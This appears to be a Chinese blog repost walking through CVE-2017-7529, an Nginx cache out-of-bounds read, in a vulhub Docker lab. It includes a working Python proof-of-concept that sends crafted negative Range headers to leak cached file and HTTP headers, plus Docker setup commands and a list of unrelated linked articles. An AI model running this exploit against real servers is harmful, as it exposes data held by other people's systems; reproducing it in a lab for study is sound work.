Nginx越界读取缓存漏洞(CVE-2017-7529)
发布日期:2021-06-29 11:26:36
浏览次数:4
分类:技术文章
本文共 1396 字,大约阅读时间需要 4 分钟。
声明
好好学习,天天向上
漏洞描述
Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
影响范围
Nginx version 0.5.6 - 1.13.2
复现过程
这里使用1.13.2版本
使用vulhub
cd /app/vulhub-master/nginx/CVE-2017-7529/
使用docker启动
docker-compose builddocker-compose up -d
环境启动后,访问http://your-ip:8080
http://192.168.239.129:8080
创建文件poc.py,内容如下,不用修改内容
#!/usr/bin/env pythonimport sysimport requestsif len(sys.argv) < 2: print("%s url" % (sys.argv[0])) print("eg: python %s http://your-ip:8080/" % (sys.argv[0])) sys.exit()headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"}offset = 605url = sys.argv[1]file_len = len(requests.get(url, headers=headers).content)n = file_len + offsetheaders['Range'] = "bytes=-%d,-%d" % ( n, 0x8000000000000000 - n)r = requests.get(url, headers=headers)print(r.text)
执行
python3 poc.py http://192.168.239.129:8080/
读到了
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose builddocker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down
转载地址:https://blog.csdn.net/zy15667076526/article/details/111414047 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!
发表评论
最新留言
路过,博主的博客真漂亮。。
[***.116.15.85]2024年04月16日 19时45分53秒
关于作者
喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
130. 被围绕的区域
2019-04-29
欧式距离、余弦相似度和余弦距离
2019-04-29
transform 等效转换(参考源码)
2019-04-29
cv2 PIL区别笔记
2019-04-29
C#中的委托
2019-04-29
引用类型和值类型
2019-04-29
一个合格程序员该做的事情——你做好了吗?
2019-04-29
再谈如何表现已点击的链接2
2019-04-29
多线程消息队列 (MSMQ) 触发器
2019-04-29
WCF开发简简单单的六个步骤
2019-04-29
4.23数学作业答案
2019-04-29
4月24语文作业答案
2019-04-29
4.26数学作业
2019-04-29
4月26云纹作业
2019-04-29
4.27数学作业提示
2019-04-29
4.27数学练习册答案
2019-04-29
4.27语文答案
2019-04-29
4.29图二
2019-04-29
5.6语文笔记
2019-04-29
5.13数学练习册讲解
2019-04-29